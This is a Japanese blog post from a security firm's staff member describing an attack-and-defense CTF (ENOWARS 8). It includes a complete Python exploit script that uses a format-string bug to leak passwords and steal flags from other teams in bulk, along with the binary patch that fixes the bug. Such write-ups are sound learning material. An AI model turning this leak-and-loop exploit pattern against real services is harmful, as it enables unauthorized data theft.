NTT Security Japan

お問い合わせ

ENOWARS 8 参加記 (Attack & Defense)

テクニカルブログ

ENOWARS 8 参加記 (Attack & Defense)
By NTT Security

Published November 1, 2024

はじめに

プロフェッショナルサービス部の鈴木です。今回は2024年7月に開催されたENOWARSというAttack&Defense形式のCTFにTeam Enuの一員として参加してきたので、Attack&Defense競技の雰囲気を紹介しようと思います。

Attack & Defense とは

Attack & Defense はCTFの決勝で採用されることが多い競技形式で、運営から各チームにサーバが与えられます。サーバ上では脆弱性のあるサービスが稼働していて、競技者はその脆弱性を発見して、ほかのチームのサーバに攻撃したり、自分のチームのサーバの脆弱性をふさぐことが求められます。大体の場合、得点はどれだけ長い時間攻撃を成功させたか(アタックポイント)とどれだけ長い時間他チームから攻撃されたか(ディフェンスポイント)によって決まります。攻撃面と防御面の両方から評価されますが、どちらもサービスのバグをどれだけ早く発見できるかがカギになります。

Attack & Defense は運営チームの負担がJeopardy形式よりも大きく、大きいCTFの決勝以外ではあまり開催されませんが、今回珍しくオンラインで自由に参加できるCTFということで参加してみました。

競技環境について

今回はオンラインでの開催なのでVMとVPNを使って競技環境が構築されていました。競技用のサーバのインスタンスも運営側が用意してくれていて、VPNに接続するだけで競技開始できるようになっていました。(オンライン開催で過去にあったケースだと、VMイメージを動かすマシンをこちら側で用意しないといけないことがありました。)

以下の図はENOWARSのルール説明に書かれていた環境の概要図です。

(network.png (742×372) (enowars.com))

各チームごとに一台ずつVMが払い出されるようになっていて、自分のチームのサーバにはSSHでログインできます。ほかのチームのサーバにはサービスとして解放されているポートにだけアクセスできます。

スコアボードは下図のようになっていて、1分おきに各チームの得点状況やサービスの状態が表示されるようになっていました。

各サービスごとに攻撃ポイント、防衛ポイント、稼働ポイントが付くようになっていて、攻撃や防御だけでなく、正常にサービスを稼働させ続けることも必要になっています。

実際の競技中の様子

競技が始まったらまずは自分たちのサーバにsshで接続して、netstatやdockerコマンドを使ってどのポートで問題のサービスが動作しているのかを調べました。

tcp        0      0 0.0.0.0:9145            0.0.0.0:*               LISTEN      0          44301      6632/docker-proxy
tcp        0      0 0.0.0.0:9696            0.0.0.0:*               LISTEN      0          19918      2165/docker-proxy
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      0          893786     216046/docker-proxy
tcp        0      0 0.0.0.0:6061            0.0.0.0:*               LISTEN      0          16324      3160/docker-proxy
tcp        0      0 0.0.0.0:6060            0.0.0.0:*               LISTEN      0          24120      3130/docker-proxy
tcp        0      0 0.0.0.0:6222            0.0.0.0:*               LISTEN      0          30545      3849/docker-proxy
tcp        0      0 0.0.0.0:6969            0.0.0.0:*               LISTEN      0          30661      4782/docker-proxy
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      0          23481      3976/docker-proxy
tcp        0      0 0.0.0.0:8008            0.0.0.0:*               LISTEN      0          27152      2002/docker-proxy
tcp        0      0 0.0.0.0:8005            0.0.0.0:*               LISTEN      0          30142      1779/docker-proxy
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          22747      970/sshd: /usr/sbin
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN      0          33398      6582/docker-proxy
tcp        0      0 0.0.0.0:2027            0.0.0.0:*               LISTEN      0          956044     233532/docker-proxy
root@team87:~# docker container ls -a
CONTAINER ID   IMAGE                             COMMAND                  CREATED             STATUS                  PORTS                                                                   NAMES
0c2da5dc03c0   wonki-wonki                       "cargo +nightly run …"   39 minutes ago      Up 39 minutes           0.0.0.0:2027->2027/tcp, :::2027->2027/tcp                               wonki-wonki-1
546ecad3dcc8   piratesay_service-piratesay       "/entrypoint.sh"         About an hour ago   Up About an hour        0.0.0.0:4444->4444/tcp, :::4444->4444/tcp                               piratesay
2f5d6eaa2091   onlyflags-web                     "docker-php-entrypoi…"   15 hours ago        Up 15 hours             0.0.0.0:9145->80/tcp, :::9145->80/tcp                                   onlyflags-web-1
432b1d3eeaae   onlyflags-proxy                   "bash /app/entrypoin…"   15 hours ago        Up 15 hours             0.0.0.0:1080->1080/tcp, :::1080->1080/tcp                               onlyflags-proxy-1
9a525420df00   onlyflags-premium-forum           "forum"                  15 hours ago        Up 15 hours             1337/tcp                                                                onlyflags-premium-forum-1
1988c378cf9f   onlyflags-open-forum              "forum"                  15 hours ago        Up 15 hours             1337/tcp                                                                onlyflags-open-forum-1
6bb459588876   mariadb:latest                    "docker-entrypoint.s…"   15 hours ago        Up 15 hours (healthy)   3306/tcp                                                                onlyflags-db-1
3935de3dcbda   onlyflags-echo                    "echo"                   15 hours ago        Up 15 hours                                                                                     onlyflags-echo-1
9249b40186b2   nginx:alpine                      "/docker-entrypoint.…"   15 hours ago        Up 15 hours             80/tcp, 0.0.0.0:6969->6969/tcp, :::6969->6969/tcp                       replme-nginx
2ba8095cfe4a   replme-backend                    "./backend/out/main …"   15 hours ago        Up 15 hours             6969/tcp                                                                replme-backend
93f1a7b5a111   replme-postgres                   "docker-entrypoint-w…"   15 hours ago        Up 15 hours             5432/tcp                                                                replme-postgres
a0166912afb1   docker:dind                       "dockerd-entrypoint.…"   15 hours ago        Up 15 hours             2375-2376/tcp                                                           replme-dind
12a30981c063   replme-frontend                   "npm run --prefix fr…"   15 hours ago        Up 15 hours             3000/tcp                                                                replme-frontend
f56a29643df9   nginx:alpine                      "/docker-entrypoint.…"   15 hours ago        Up 15 hours             80/tcp, 0.0.0.0:6060-6061->6060-6061/tcp, :::6060-6061->6060-6061/tcp   notify24-nginx-1
dbe5ff2ac217   notify24-frontend                 "docker-entrypoint.s…"   15 hours ago        Up 15 hours             3000/tcp                                                                notify24-frontend-1
129cb5920eea   notify24-backend                  "/bin/sh -c 'java -j…"   15 hours ago        Up 15 hours             6060/tcp                                                                notify24-backend-1
f1513f14ee68   mysql:8.0                         "docker-entrypoint.s…"   15 hours ago        Up 15 hours             3306/tcp, 33060/tcp                                                     notify24-mysql-1
c991cb9e0933   gareck/scamfinder:latest          "apachectl -D FOREGR…"   15 hours ago        Up 15 hours             0.0.0.0:6222->80/tcp, :::6222->80/tcp                                   service_scamfinder-scamfinder-1
4801ff966880   imagidate-web                     "/bin/sh -c /root/ru…"   15 hours ago        Up 15 hours             0.0.0.0:8080->80/tcp, :::8080->80/tcp                                   wcyd
c03bd9ed8574   imagidate-api                     "/bin/sh -c /root/ru…"   15 hours ago        Up 15 hours             5000/tcp                                                                api_server
bf09c8ffe971   mysql:8.0                         "docker-entrypoint.s…"   15 hours ago        Up 15 hours             3306/tcp, 33060/tcp                                                     db_server
e9802a80aefd   service_scamfinder-api            "gunicorn -b 0.0.0.0…"   15 hours ago        Up 15 hours                                                                                     service_scamfinder-api-1
4534c58baeb9   mysql:8.0                         "docker-entrypoint.s…"   15 hours ago        Up 15 hours             3306/tcp, 33060/tcp                                                     service_scamfinder-db-1
4b8b001f198e   postgres                          "docker-entrypoint.s…"   15 hours ago        Up 15 hours             5432/tcp                                                                wonki-wonki-postgres-1
096786e0c100   whatscam-whatsscam                "/entrypoint.sh"         15 hours ago        Up 15 hours             0.0.0.0:9696->9696/tcp, :::9696->9696/tcp                               whatscam-whatsscam-1
fe19fca89d67   sceam-enoft                       "/entrypoint.sh"         15 hours ago        Up 15 hours             0.0.0.0:8008->8008/tcp, :::8008->8008/tcp                               sceam-enoft-1
8f2b53b69a6d   ghcr.io/enoflag/enoarkime:5.3.0   "/bin/sh -c /EnoArki…"   15 hours ago        Up 15 hours             0.0.0.0:8005->8005/tcp, :::8005->8005/tcp                               enomoloch-moloch-1
012efed37f2f   elasticsearch:7.14.2              "/bin/tini -- /usr/l…"   15 hours ago        Up 15 hours

サービスは全部で9つあって、web、暗号、バイナリなど一通りのジャンルの問題がそろっている印象でした。

私はバイナリ系の問題をよく解いているので、piratesayというバイナリエクスプロイトの問題を見ることにしました。

(競技後に公開されたpiratesayの公式リポジトリはこちら: enowars/enowars8-service-piratesay (github.com))

netcatで対象のポートにアクセスするとバナーが表示されて、シェルのようなプロンプトが表示されます。

$ nc 10.1.87.1 4444
Copyright (c) 2024 Pirate Say
Connection established with server!
(Pirate Say v1.0.0, up since 2024-07-20 10:48:25)
                        :::.        .:::
                      :=@@@+        +@@@=:
                    :=%@@@@+ -=..=- +@@@@%=:
                  .+#@@@@@@+ +#:.#* +@@@@@@%+.
                 =#@@@@@@@@#=. ++ .=#@@@@@@@@#+
               .:#@@@@@%##@@@=:-=:=@@@##%@@@@@#:.
               =@@@@@@#- .############. :#@@@@@@=
             :=*@@@@@@::+++++:    .+++++::%@@@@@#=:
           .+#@@@@@@@@%*==+==.    .==+==*%@@@@@@@@%+.
        .*##@@@@@@@@@@@*-. .-*####*-. .-#@@@@@@@@@@@##*.
    .-%%%@@@@@@@@@@@@@@@@#=*@@@@@@@@#=#@@@@@@@@@@@@@@@@%%%-.
   .#%@@@@@@@@@@@@@@@@+==*@@@*===========+@@@@@@@@@@@@@@@@%#.
     :#@@@@@@@@@@@@@+:    :+%#*.          :+@@@@@@@@@@@@@#:
      .********%@@@*-        =*%*-:::::::::-*%@@%********.
               :+%%   -======. =++@@@@@@@@@#=%%+:
                 #%   %@@@@@@-    %@@@@@@@*--%*
                 #%   %@@@@@@-   .@@@@@@@@=  ##
                 #%.  :------. ++ --*@@@@@#= #*
                 .-%-         :%@:  .......=%-.
                  :@#*.       %*+%.      .+#@:
                   .*@%%%#.   :  :    #%%%@*.
                     .%@@@.: : :: : :.@@@@.
                      %@++%*:#:##:#:*%+=@%.
                      %@. *#@#*%%*#@%*. %%.
                      %@.  .=.=##=.=:  .@@.
                      -*#*-.  ....  .:+**=
                       .:*@#=.    .=#@#:.
                         :=#@#+**+#@#=:
                           .--------.
      ____  __  ____   __  ____  ____    ____   __   _  _
      (  _ \(  )(  _ \ / _\(_  _)(  __)  / ___) / _\ ( \/ )
      ) __/ )(  )   //    \ )(   ) _)   \___ \/    \ )  /
      (__)  (__)(__\_)\_/\_/(__) (____)  (____/\_/\_/(__/

Welcome to Pirate Say, your go-to place for stating your piratical achievements!
Your friends think they can out-scam you? Show them who's the king of the seven seas!


FerociousMainmast:/$

問題オリジナルのシェルになっていて、専用のコマンドだけが使えます。ヘルプを見ると以下のようになっていました。

ForgottenGunner:/$ codex
The Official Pirate Codex:
  scout [destination] - Search current or desired destination for items
  sail [destination] - Set sail for a new destination
  bury - bury treasure for others to find at your destination
  loot [item] - Grab the contents of an item at your destination
  identity - manage your pirate identity
  codex - Display this pirate codex
  dock - Dock your ship and leave Pirate Say

いろいろ動かしてみた結果、だいたい以下のようなコマンドになっていることが分かりました。

  • scout: lsと同じ
  • sail: cdと同じ
  • loot: ファイルの中身を表示する
  • bury: ファイルを作る

運営チームから攻撃対象のファイルの情報が周知されていて、それによるとほかのチームのサーバにアクセスして、"*.treasure"という名前のファイルの中身を見ることがゴールのようです。

試しに自分のサーバに配置されたtreasureファイルをSSHからcatコマンドで表示してみました。

treasureファイルは中にフラグが書かれていて、ファイルの末尾にパスワードらしき文字列が書かれていました。

問題バイナリを解析してみたところ、サービスの機能を使ってtreasureファイルを表示するにはこのパスワードを答えられないといけないようです。このtreasureファイルは運営チームから定期的に配られるようになっていて、パスワードやフラグはファイルごとに異なる文字列になっていました。

ここからしばらく問題バイナリを解析していましたが、行き詰ってスコアボードを見ていると攻撃を成功させたチームが出てきました。

そこでいったん自力での解析を中断して、攻撃してきているパケットからヒントを探そうとしました。通常、CTFでは他のチームからヒントをもらうことはできませんが、Attack&Defenseでは先に攻撃を成功させたチームのパケットが自分のチームのサーバに飛んできているので、tcpdumpなどでパケットキャプチャを取れば、どんなデータを送ればフラグを取れるのかわかることがあります。今回はサーバにarkimeというネットワーク解析ツールが入っていたので、容易にパケット解析ができました。

通信を解析していると気になるセッションが見つかりました。

図の左側がクライアントの送ったデータで、右側がサーバの送ったデータになっています。左側の3行目で怪しいフォーマット文字列を送っていて、それに対するサーバの応答で長い数字列が出ていて、フォーマット文字列バグを突いた攻撃をされていることを示唆しています。

さらにその直後にパスワードらしき文字列を送っていて、treasureファイルの中身を閲覧されています。

つまり、このサービスにはフォーマット文字列バグがあって、treasureファイルのパスワードが漏洩しているということが判明しました。

バグが分かったところで、まずは攻撃用のコードを書き始めました。Attack & Defenseでは新しいフラグファイルが定期的に配られるので、攻撃は自動化して脆弱性が放置されたサービスから何度もフラグを取るようにします。

出来上がったコードを以下に示します。基本的な構造としては、ターゲットのIPとファイル名が公開されているのでそれを取ってきて、ターゲットごとにバグを使ってフラグを取り、フラグサーバに送るという作りになっています。並列化の辺りは不完全な感じもしますが、とりあえずは自動でフラグを取れるようになりました。

#!/usr/bin/env python3


from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse
import json
import requests
import time
import timeout_decorator


def list_target():
    x = requests.get('https://8.enowars.com/scoreboard/attack.json')
    data = json.loads(x.text)
    flag_dict = dict()
    treasure = []
    for ip, d in data['services']['piratesay'].items():
        for round_num, targets in d.items():
            for flag_num, flags in targets.items():
                if flag_num == '1':
                    continue # skip .private for now
                assert len(flags) == 1
                flag = flags[0]
                treasure.append((ip, flag))
    return treasure


def u64x(data):
    return u64(data.ljust(8, b'\0'))


def p64x(*nums):
    data = b''
    for num in nums:
        data += p64(num)
    return data


def connect_and_steal_treasure(ip, directory, file):
    io = remote(ip, 4444)
    io.sendlineafter(b'$ ', f'sail {directory}'.encode())
    io.sendlineafter(b'$ ', f'loot {file}'.encode())
    response = io.recvuntil(b'\n')[:-1]
    if response.endswith(b'found'):
        io.sendlineafter(b'$ ', b'dock')
        io.close()
        return None
    io.sendlineafter(b'words: ', b'%26$lo|%27$loEND')
    data = io.recvuntil(b'\n')
    if b'END' not in data:
        io.close()
        return None
    leak = data.split(b'END')[0]
    leak1, leak2 = leak.split(b'|')

    try:
        upper = int(leak1, 8)
        lower = int(leak2, 8)
    except ValueError:
        io.sendlineafter(b'$ ', b'dock')
        io.close()
        return None

    password = ''
    for _ in range(8):
        password += chr(upper & 0xff)
        upper = upper >> 8
    for _ in range(8):
        password += chr(lower & 0xff)
        lower = lower >> 8
    print(password)

    io.sendlineafter(b'$ ', f'loot {file}'.encode())
    io.sendlineafter(b'words: ', password.encode())
    io.recvuntil(b'Scammer ID: ')
    flag = io.recvuntil(b'\n')[:-1]
    print(flag)
    io.sendlineafter(b'$ ', b'dock')
    io.close()
    return flag


def is_likely_flag(flag):
    import re
    return re.match(r'ENO[A-Za-z0-9+\/=]{48}', flag)


def work(i, ip, path, flags):
    directory, file = path.split('/')
    print((ip, directory, file))
    try:
        flag = connect_and_steal_treasure(ip, directory, file)
    except EOFError:
        return
    flags[i] = flag

    if flag and is_likely_flag(flag.decode()):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('10.0.13.37', 1337))
        print(sock.recv(1000))
        sock.send(flag + b'\n')
        print(sock.recv(1000))
        sock.close()


def main():
    from multiprocessing.pool import ThreadPool as Pool
    pool = Pool(400)
    targets = list_target()
    print(f'len(targets) = {len(targets)}')
    flags = ['' for _ in targets]

    for i, target_info in enumerate(targets):
        ip, path = target_info
        pool.apply_async(work, (i, ip, path, flags))
    pool.close()
    pool.join()


if __name__ == '__main__':
    while True:
        main()

いったん攻撃用のコードを書き終えたところで、次は自分たちのサーバの防衛を考えました。Attack & Defenseではどのチームのフラグが取られたかが集計されていて、自分のチームのサービスからフラグを取られるたびに減点されていくようになっています。

自分たちのサーバを守るにはサービスを書き換えて脆弱性をふさぐ必要があります。しかし、運営チームから頻繁にサービスの機能を確認する通信が飛んできているため、サービスの機能を変えてしまうような強引な修正をすることはできません。つまり、バグだけをピンポイントで修正する必要があります。

バグがフォーマット文字列に関係する部分なので、printfなどを使っている部分を重点的に解析して、最終的に以下の部分にバグがあることを突き止めました。

このサービスではsnprintfに相当する機能を実装していて、ハイライトした部分でそのsnprintfを2回呼んでいます。

1回目のsnprintfには問題がありませんが、2回目のsnprintfは1回目の結果をそのまま引数のtfでフォーマット文字列の部分に使ってしまっているので、1回目の結果にフォーマット文字列が残っていた場合に2回目のsnprintfでフォーマット文字列バグが発生します。

バグの詳細な位置が分かったので、修正を行います。このサービスではソースコードがなく、コンパイル済みのバイナリファイルしか用意されていないため、バイナリエディタなどでバイナリファイルを直接編集する必要があります。

まずは逆アセンブラで該当のバグの部分を表示します。下図のハイライトしたアドレスが2回目のsnprintf呼び出しをしている部分です。

バイナリエディタで編集する際に部分的にサイズが変わってしまうと、いろいろな部分の参照がずれて大変なので、サイズが変わらないような修正方法を考えます。

この部分でやっていることは単なる文字列のコピーなので、snprintfの代わりにstrncpyを使うことにしました。必要な操作は以下の2つです。

  • 引数の順番を変える
  • call命令のジャンプ先を変える

まず引数の順番を変える部分について、snprintfは引数がdst, size, srcという順番に対して、strncpyはdst, src, sizeという順番なので、第2引数と第3引数を入れ替える必要があります。関数の引数はレジスタが管理していて、下図のように書き換えれば第2引数と第3引数を入れ替えられます。

次にcall命令のジャンプ先を変えます。変更前のジャンプ先はmy_snprintfで、アドレスは0x45a9でした。変更後のジャンプ先はstrncpyで、アドレスは0x36f0だったので、ジャンプ先が-0xeb9だけずれた値になればよいです。call命令は機械語では"e8"のあとにcall命令の直後からジャンプ先までの相対距離が入っています。もともと入っていた値が0xffffdd37なので、0xffffdd37-0xeb9=0xffffce7eより、call命令の機械語の"e8"のあとに "7e ce ff ff" となるように書き換えればよいはずです。

バイナリエディタで書き換えた後の状態を下図に示します。引数の順序とcall命令のジャンプ先が意図した通りに書き換わっていることが分かります。

あとは修正したバイナリを本番環境で動かせば修正完了です。Attack & Defenseでは余計なことをするとすぐにサービスが落ちるので、修正したバイナリを動かす瞬間はドキドキしましたが、無事に動作してくれました。

バグ修正も効果を発揮していて、最終スコアでは周りのチームより防衛ポイントが数百点高くなっていました。

最終スコアを以下に貼っておきます。競技時間が日本時間で午後9時から翌日の午前6時というつらい時間帯だったこと、Team Enuの参加者が3人しかいなかったことを考えれば、結構頑張ったのではないでしょうか。

おわりに

今回はオンラインで開催されたAttack & DefenseのCTFについて紹介しました。振り返ってみると、もっとうまくやれたと思う部分もいくつかあり、私個人としては悔しい思いもありますが、Attack & DefenseのCTFの雰囲気が伝わっていれば幸いです。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。